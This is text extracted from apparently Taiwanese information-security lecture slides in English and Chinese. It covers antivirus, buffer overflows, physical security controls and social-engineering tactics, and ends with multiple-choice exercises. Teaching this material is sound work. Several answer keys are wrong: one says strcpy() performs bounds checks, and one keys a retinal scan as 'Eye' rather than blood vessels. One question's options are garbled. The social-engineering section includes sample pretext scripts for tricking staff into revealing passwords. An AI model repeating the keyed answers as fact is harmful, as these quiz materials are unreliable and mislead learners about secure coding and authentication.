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Viruses and Worms (cont’d)  

 Antivirus (cont’d)  
 An activity blocker 

intercepts a virus when it 
starts to execute and 
blocks it from infecting 
other programs or data. 
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Viruses and Worms (cont’d)  

 Antivirus (cont’d)  
 Activity blocker are 

usually designed to start 
upon bootup and continue 
until the computer is shut 
down. 
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From privilege escalation 
exploits to mass mailing 
worms, buffer overflows 
serve as a primary 
mechanism of attack. 

Summary 

Buffer overflows can be 
prevented through proper 
coding techniques. 
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Summary (cont’d)  
Although it does take a 

certain amount of 
programming skill to create 
a new unique virus or worm, 
script kiddies and others can 
decompile existing malicious 
code and make subtle 
changes to try and breach 
antivirus programs. 



111 

Summary (cont’d)  

The most common of the 
techniques that used to 
detect and prevent malicious 
code are signature scanning 
and heuristics. 
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Which of the following is an 
example of a multipartite 
virus or worm? 

Exercises 

A. Brain 
B. Nimda 
C. Sasser 
D. Staog 
Ans: B 
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Buffer overflows can be a 
serious problem. Which of the 
following C/C++ functions 
perform bound checks? 

Exercises 

A. gets() 
B. memcpy() 
C. strcpy() 
D. strncat() 
Ans: C 
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Which of the following is 
not considered an optional 
part of a virus program? 

Exercises 

A. Infection routine 
B. Payload routine 
C. Anti-detection routine 
D. Trigger routine 
Ans: A 
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The functionality of Tripwire 
could best be compared to 
which of the following? 

Exercises 

A. Stack guard program 
B. Heuristic scanning 
C. Signature scanning 
D. Integrity verifier 
Ans: D 
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Which of the following describes 
the stack mechanism that 
computers use to pass 
arguments to functions and 
reference local variables? 

Exercises 

A. FIFO 
B. Push 
C. Pop 
D. LIFO 
Ans: D 
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Which of the following is not a 
defense against buffer 
overflows? 

Exercises 

A. A buffer 
B. A buffer that is placed on 

the lower part of the heap 
C. A fixed buffer 
D. A buffer that is placed on 

the upper part of the heap 
Ans: C 
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Which type of virus or 
worm has the capability to 
infect a system in more 
than one way? 

Exercises 

A. Appenders 
B. Multipartite 
C. Prependers 
D. Polymorphic 
Ans: B 
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Introduction  
You can have the best 
firewall in the world, but if 
a hacker can walk in to the 
company, go to the server 
room, remove a hard drive, 
and leave, your technical 
controls are of no value.  
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Introduction (cont’d)  

True security is about 
defense in depth and 
maintaining good physical 
security that enhances the 
overall security. 



5 

Introduction (cont’d)   
Even with good physical 
security, can a stranger 
just call the help desk and 
ask for a password?  
Let’s hope not. 
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Introduction (cont’d)   
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Introduction (cont’d)   
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Introduction (cont’d)   
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Introduction (cont’d)   
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Introduction (cont’d)   
Social engineering is 
probably one of the 
hardest attacks to defend 
against, as it involves the 
manipulation of people. 
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Physical Security 

Threats to physical 
security can be caused by 
natural occurring or man-
made events or by utility 
loss or equipment failure. 

Threats to Physical Security 
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Physical Security (cont’d)   
Natural occurring events 
can include: 
Floods 
Fire 
Hurricanes and tropical storms 
Tidal waves 
Earthquakes 
Other nature events 
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Physical Security (cont’d)   
Man-made threats to 
physical security are not 
as predictable as natural 
threats. These threats 
include: 
Theft 
Vandalism 
Destruction 
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Physical Security (cont’d)   
Equipment failure can 
also affect the physical 
security of the 
organization.  
As an example, relay 
operated door locks can 
fail open or fail closed. 
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Physical Security (cont’d)   
To estimate how long 
equipment will last, there are 
two other important numbers 
that you should know: 

Mean Time Between Failure (MTBF) 

Mean Time To Repair (MTTR) 
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Physical Security (cont’d)   

The MTBF is used to calculate 
the expected lifetime of a device. 
The higher the MTBF, the better. 
The MTTR is estimate of how 

long it would take to repair the 
equipment and get it back into 
use. For MTTR, lower numbers 
are better. 
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Physical Security (cont’d)   
MTBF lets you know how long 

a piece of equipment should 
function before needing to be 
replaced. 

 MTTR lets you know how long 
you must wait to have the  
equipment repaired or replaced. 
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Physical Security (cont’d)   

 SLAs specify the maximum 
amount of time the provider 
has to repair or replace the 
equipment or system. 

 Many companies consider     
service level agreements 
(SLAs) to deal with long 
MTTRs. 
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Physical Security (cont’d)   
Collecting valuable 
information from the trash is 
known as dumpster diving. 
It can be used by individuals 
to discover usernames, 
passwords, account numbers, 
and even used for identity 
theft. 
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Physical Security (cont’d)   

The best way to prevent    
this kind of  information 
leakage is by using paper 
shredders. The two basic 
types of shredders are: 
Strip-cut 
Cross-cut 



22 

Physical Security (cont’d)   
Equipment Controls 
Locks 
Locks are an inexpensive 

theft deterrent. Locks 
don’t prevent someone 
from stealing equipment, 
but locks do slow thieves 
down. 
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Physical Security (cont’d)   

Equipment Controls (cont’d)   
There are also a number of 

different types of keypad or 
combination locks. 
Basic combination locks 
Programmable cipher locks 
Visibility shields 
Delays alarms 
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Physical Security (cont’d)   
Equipment Controls 
Fax Machines 
Anyone can retrieve the 

printed fax and review its 
contents. A skilled hacker 
might even intercept and 
decode the fax transmission 
while in transit. 
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Physical Security (cont’d)   
Area Controls 
Closed Circuit TV (CCTV) 

cameras are great for 
surveillance. Although they 
are not highly effective at 
preventing access to a 
facility or controlled area, 
they are useful as a 
detective control. 
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Physical Security (cont’d)   
Facility Controls 
Facility controls limit or 

control the flow of people as 
they ingress and egress the 
company’s property and 
facilities. Examples of facility 
controls include fences, lights, 
guards, dogs, gates, locks, 
bollards, and mantraps. 
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Physical Security (cont’d)   

Personal Safety Controls 

Fire Prevention, Detection 
and Suppression 
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Physical Security (cont’d)   

Physical Access Controls 
Authentication 
Companies can use a 

variety of means to 
restrict access to facilities 
or specific locations by 
requiring authentication.  
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Physical Security (cont’d)   
Authentication (cont’d)   
The ways someone can 

authenticate himself in the 
physical or logical world include 

√Passwords and pin numbers 
√Tokens, smart cards, and 

magnetic strip cards 
√Biometrics 
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Physical Security (cont’d)   
Authentication (cont’d)   
Biometric access control is 

considered a strong form of 
authentication 
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Physical Security (cont’d)   
Some well-known types of 

biometric authentication: 
√Fingerprint 
√Facial scan 
√Hand geometry 
√Palm scan 
√Retina pattern 
√Iris recognition 
√Voice recognition 



32 

Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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Physical Security (cont’d)   
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社交工程駭客：人性弱點 

• 人：資訊安全鎖鍊中最脆弱的一環 
• 一個成功的防禦系統取決於：擁有好

的資安政策，並且教育員工嚴格遵守

該政策。 
• Social Engineering是最難防禦的一

種攻擊形式，因為它並不能單單只用

軟體或硬體就能進行偵測或防禦。 
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• 愛因斯坦：「世界上只有兩種東西無
限大，一個是宇宙，另一個是人類的
愚蠢之心。宇宙是否無限大，我還不
太確定…」 

• 社交工程在人們愚昧、或者對安全措
施一無所知的情況下便會成功。 

社交工程駭客：人性弱點 
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社交工程駭客：人性弱點 

在資訊安全領域，社交工程就

是攻擊者利用人與人之間的交

往，取得被害人的信任，然後

取得想得到的資訊或是執行想

做到的行為。 
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社交工程駭客：人性弱點 

在駭客理論中，指利用人性弱

點、利用人際交往上的漏洞，

來獲取重要資料的行為。(並不

需要使用任何的程式、科技技

術即可獲取帳號、密碼、信用

卡密碼、身分證號碼、姓名、

地址或其他可確認身分或機密

資料的方法。) 
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社交工程駭客：人性弱點 

社交工程是一種非技術手段的

駭客行為，利用了網路安全體

系中最沒有辦法控制、最沒有

辦法修補的一個因素—人！ 
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一般駭客 vs. 社交工程駭客 

一般駭客  社交工程駭客 

目標 
攻擊主機或 
應用程式 

人 

技術
門檻 

技術門檻高 
技術門檻低或

不需要 

手段 
寫病毒、植入
木馬、網頁惡

意程式 
手法萬萬種 
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社交工程駭客 

利用人性
自然本能 

• Trust 
• Fear 
• Desire to Help 

想收集到
的資訊 

• Sensitive information 
• Authorization details 
• Access details 
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Social Engineering (cont’d)  
社交工程駭客在企圖擺佈他人
時，就是使用底下之「基本人
性傾向」: 

1.權威 
2.討人喜歡 
3.互惠行為 
4.信守承諾 
5.向他人看齊 
6.稀有性 
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Social Engineering (cont’d)  

1.權威 

•如果提出要求的人具有權威，

或經過授權可提出要求，一般人

往往會服從。 

•駭客企圖以權威來掩飾自己，自

稱是資訊部門、主管、或是主管

秘書。 
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Social Engineering (cont’d)  
2.討人喜歡 

•如果表現出和受害者相近的興趣、

信仰、或是態度，受害者也往往會

照辦。 

•攻擊者盡量找出受害者的嗜好或興

趣，或自稱出身同一個縣市、同一

個學校、或是目標相近。 

•駭客也會企圖模仿對象的行為，製

造出相似的假象。 
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Social Engineering (cont’d)  
3.互惠行為 

•如果對方給予我們某種具有價值的東西

或承諾要給，我們可能會自動答應對方

請求。有可能是實際物品，也可能是建

議或是幫助。 

•產生強烈的回饋意圖。影響別人幫我們

做人情的最有效方式之一，就是送禮或

協助對方，藉此形成「潛在義務」。譬

如，員工接到資訊部門告知新病毒，自

願一步步教員工避免中毒。 
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Social Engineering (cont’d)  

4.信守承諾 

•我們一旦公開承諾或為某主張背

書，就不希望變成不值得信任，往

往會答應請求。 

√譬如，攻擊者聯絡新進員工，使

他同意遵守公司政策，才能獲准

使用資訊系統。 
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4.信守承諾(續) 

•討論過幾種安全政策後，請員工

說出密碼，以「確認是否符合政

策」「密碼是否難以猜測」 

•受害者之所以答應是因為先前同意

要遵守公司政策。 

Social Engineering (cont’d)  
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Social Engineering (cont’d)  

5.向他人看齊 

•如果其他人好像都答應這種請求，

你我往往也會答應。譬如，攻擊者

來電表示，他正在進行問卷調查，

也舉出了部門裡其他同事的名字，

宣稱這些人已經配合做過調查。 
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Social Engineering (cont’d)  

5.向他人看齊(續) 

•受害者心想：其他人既然作了，

代表這要求具有真實性…… 

•來電者接著問一連串的問題，其

中夾雜一些引導受害者說出機敏

資訊的問題。 
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Social Engineering (cont’d)  

6.稀有性 

•如果相信某東西供不應求，或只

能在短時間內取得，大家往往會

答應請求。譬如，Email到公司新

網站註冊的前50名，可以免費獲

得電影票！ 
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6.稀有性(續) 

•該網站要求輸入公司email及密

碼。 

•很多人貪圖便利，往往選擇相同

密碼。 

•實際案例：PayEasy、Yahoo、

PChome。 

Social Engineering (cont’d)  
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Social Engineering 
Six Types of Social 

Engineering 
 Scarcity 
 Authority 
 Liking 
 Consistency 
 Social Validation 
 Reciprocation 
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• Human-based 
–利用互動蒐集機敏資訊 
–利用相信、恐懼、喜歡幫助他人的

自然人性 
• Computer-based 

– 以協助排除電腦或網路故障完成 

Social Engineering (cont’d)  

Types of Social Engineering 
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Social Engineering (cont’d)  
Person-to-Person-based 

Social Engineering 
 Important user 
 Third-party authorization 
 Masquerading 
 In person 
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冒充合法使用者 

–主動告知身份，並要求機敏資訊 

–「你好！我是行政部門的游小惠，

上個禮拜報到，我還搞不清楚財

務系統的操作，我忘記上週才剛

設定好的密碼，你可以幫我嗎？」 

74 

Human-based Social Engineering 
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Human-based Social Engineering 

冒充重要、權威人士 

–假裝受害公司的VIP或重要客戶：

你好！我是Kevin，財務長的秘書，

財務長今天交代一個重要而且很緊

急的專案，但是我怎麼樣也進不去

專案管理系統，財務長下午就要文

件了，能不能請你馬上幫忙看一下

是不是密碼的問題？」 
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 Eavesdropping (偷聽、偷看) 
–未授權狀況下偷聽對話或是偷

看敏感訊息 
– 攔截任何形式的音訊、視訊、

或手寫資訊 
 

76 

Human-based Social Engineering 
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Shoulder Surfing 
–當你輸入密碼時，

從你肩膀看過去偷

瞄，也可能從遠端

用望遠鏡。 

77 

Human-based Social Engineering 
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 Dumpster Diving 
• 尋找目標公司的機敏資訊 

– 垃圾桶 
– 印表機、傳真機待收文

件或回收紙 
–使用者辦公桌或是便條

紙等 
78 

Human-based Social Engineering 
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 Dumpster Diving (續) 
• 收集 

–電話帳單 
–聯絡資料 
–財務資訊 
–操作相關文件等 

79 

Human-based Social Engineering 



80 80 

Human-based Social Engineering 
 Dumpster Diving (續) 
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• Tailgating (追尾、緊跟著前車行駛) 
–未被授權的人，帶著假的識別證，

藉著緊跟隨得到授權的人員進入

需要認證才能進入的區域。 
–該授權人員可能並不知道自己讓

未授權的人員進入到管制區域。 
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Human-based Social Engineering 
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Human-based Social Engineering 
• Piggybacking 

–「我的識別證放在家裡忘記帶

了，可以請你幫忙一下嗎？」 
–授權人員把門或其他安全控管

機制持續開著，讓未授權的人

員進入到安全管制區域。 
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Social Engineering (cont’d)  
Computer-based Social 

Engineering 
 Pop-up windows 
 Email attachment 
 Websites 
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Social Engineering (cont’d)  
Reverse Social Engineering 
Reverse social 

engineering involves 
sabotaging someone 
else’s equipment and then 
offering to fix the problem. 
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Social Engineering (cont’d)  
Reverse Social Engineering 
One example of this 
occurred a few years back 
when thieves would cut the 
phone line and then show 
up inside claiming they 
had been called for a 
phone repair. 
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• Reverse Social Engineering 
–Hacker創造出一個以權威或

專家出現的角色，讓員工有

需要時將尋求其協助，而不

選擇其他方式。 
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Social Engineering (cont’d)  
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Human-based Social Engineering 

Reverse Social Engineering 
攻擊牽涉到： 
1.破壞 
2.行銷 
3.提供支援 
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Human-based Social Engineering 

Reverse Social Engineering 
Examples 
The Italian Job (偷天換日) 
Catch Me If You Can  
   (神鬼交鋒) 
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Social Engineering (cont’d)  
Reverse Social Engineering 
Reverse social engineering 

is considered the most 
difficult social engineering 
attack because it takes a lot 
of preparation and skill to 
make it happen 
successfully. 



90 

Social Engineering (cont’d)  
Policies and Procedures 
 Employee Hiring and 

Termination Policies 
 Help Desk Procedures and 

Password Change Policies 
 Employee Identification 
 Privacy Policies 
 Governmental and 

Commercial Data Classification 
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Social Engineering (cont’d)  
The governmental system is 

designed to protect the 
confidentiality of information. 
 Unclassified 
 Confidential 
 Secret 
 Top secret 
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Social Engineering (cont’d)  

 Public 
 Sensitive 
 Private 
 Confidential 

The commercial information 
classification system is the 
second major information 
classification type. 
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• 帳號設定Account Setup 
• 密碼變更原則Password change policy 
• 技術支援流程Help desk procedures 
• 存取權限Access Privileges 
• 違反行為稽核Violations 
• 員工身份識別Employee identification 
• 隱私政策Privacy Policy 
• 書面紙本資料Paper documents 
• 撥接設備、無線設備Modems 
• 實體存取限制Physical Access Restrictions 
• 惡意程式控制Virus control 

Security Policies - Checklist 
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社交工程案例 



95 95 

偽冒合法網站 
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你看得出兩個網站的差異嗎？ 
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你看得出兩個網站的差異嗎？ 
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範例1 惡意word檔攻擊 
(休閒娛樂主旨) 
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範例2 惡意網頁攻擊 
(養生保健主旨) 



100 

範例3 惡意word檔攻擊 
(公務人員相關主旨) 
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•小明收到朋友的Mail，主題為「謎

語」，內容是一個謎語「早上四隻腳，

中午兩隻腳，晚上三隻腳，猜一種動

物」，答案在附件中，需要點開附件

才可以知道答案。 

•小明點開附件後防毒軟體不斷跳出中

毒訊息。 

預判：病毒委裝小明朋友寄出含有病毒的附件 

案例一 
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•深受垃圾信所苦的小明從某論壇上

看到網友推薦大家使用XX牌的反垃

圾信軟體，並提供破解檔，給大家

下載。 

•小明安裝後發現自己的電腦速度明

顯變慢，無任何動作時網路燈號依

然閃爍不停。 

預判：論壇所分享的程式含有木馬，並竊取資料 

案例二 
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• 小明收到雅虎拍賣網的通知，說

他已得標一台筆記型電腦，並請

他 可 以 到

HTTP://YAH00.COM.TW/ABC/
……去查詢。 

• 小明點進去看，發現必須輸入雅

虎的帳號和密碼，但是輸入後卻

沒有反應。 
預判：為網路釣魚慣用手法，並收集帳號、密碼 

案例三 
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Outline 

Introduction  
Physical Security 
Social Engineering 

Exercises 
Summary 
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Summary 

Physical security is as 
important as network 
security. 

Social engineering is a 
powerful attack tool, as it 
targets people, not 
technology.  
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Summary (cont’d)  

Social engineering can 
target employees directly or 
can use the computer to try 
and trick the employee. 
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Summary (cont’d)  

Policies can reinforce 
physical security and help 
prevent social engineering. 
Policies detail what 
management expects and 
provides a general roadmap 
on how these items will be 
achieved. 
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Outline 

Introduction  
Physical Security 
Social Engineering 

Exercises 
Summary 



109 

You’re consulting for an 
organization that would like to 
know which of the following 
ways are the best ways to 
prevent hackers from 
uncovering sensitive 
information from dumpster 
diving. (Choose all that are 
correct.) 

Exercises 
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Exercises 

A. Use a paper shredder 
B. Keep trash dumpsters in a 

secured location 
C. Train employees to use 

strong passwords 
D. Place a CCTV camera at 

the rear of the building 
facing the dumpsters 

Ans: A, B 
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How can you prevent 
piggybacking? 

Exercises 

A. Install a CCTV camera 
close to the entrance 

B. Install a fingerprint reader 
by the entrance 

C. Install a cipher lock by 
the door 

D. Station a guard close to an 
entrance Ans: B 
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You watch over Bernie’s 
shoulder while he types the 
password to log on to 
hushmail.com. What is this 
type of attack called? 

Exercises 
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Exercises 

A. Dumpster diving 

B. Shoulder surfing 

C. Tailgating 

D. Social engineering 

Ans: B 
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A retinal scan is a scan of 
which of the following? 

Exercises 

A. Pupil 
B. Blood vessels 
C. Facial shape 
D. Eye 

Ans: D 
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Discernment is an advantage 
of which of the following 
physical security controls? 

Exercises 

A. CCTV 
B. Dogs 
C. Guards 
D. Biometric systems 
Ans: C 
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